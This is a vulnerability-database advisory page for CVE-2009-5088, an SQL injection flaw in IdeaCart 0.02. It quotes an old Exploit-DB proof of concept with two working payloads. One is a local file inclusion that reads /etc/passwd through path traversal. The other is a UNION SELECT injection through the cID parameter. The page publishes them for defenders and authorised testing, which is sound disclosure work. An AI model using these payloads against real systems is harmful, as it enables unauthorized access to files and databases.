CVE-2009-5088

high

Published 2011-09-12 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

8.5

Description

SQL injection vulnerability in secure/index.php in IdeaCart 0.02 allows remote attackers to execute arbitrary SQL commands via the cID parameter.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-8049 webapps php verified text · 1 KB

nuclear · 2009-02-13

ideacart 0.02 - Local File Inclusion / SQL Injection

text exploit Source: Exploit-DB

#IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities


#Author: nuclear


#LFI:
http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00


#SQL:
http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23


#notes:
get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ bla bla bla


#greetz Mi4night, cAs, zYzTeM, Digitalfortress, THE_MAN, Pepe, I-O-W-A,
 DiGitalX, sys32-hack, sys32r, Whitestar


#special greets to: Digitalfortress
thnx for keeping me up mate


#to str0ke:
thnx for putting all the vulns up brotha !


#comment:
I'm finally done with this shit..number 13 and there will be no more
I'm outta here.. bye ya'll 

# milw0rm.com [2009-02-13]

Application impact

Vendor	Product	Versions	Fixed
ideacart	ideacart	`0.02`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.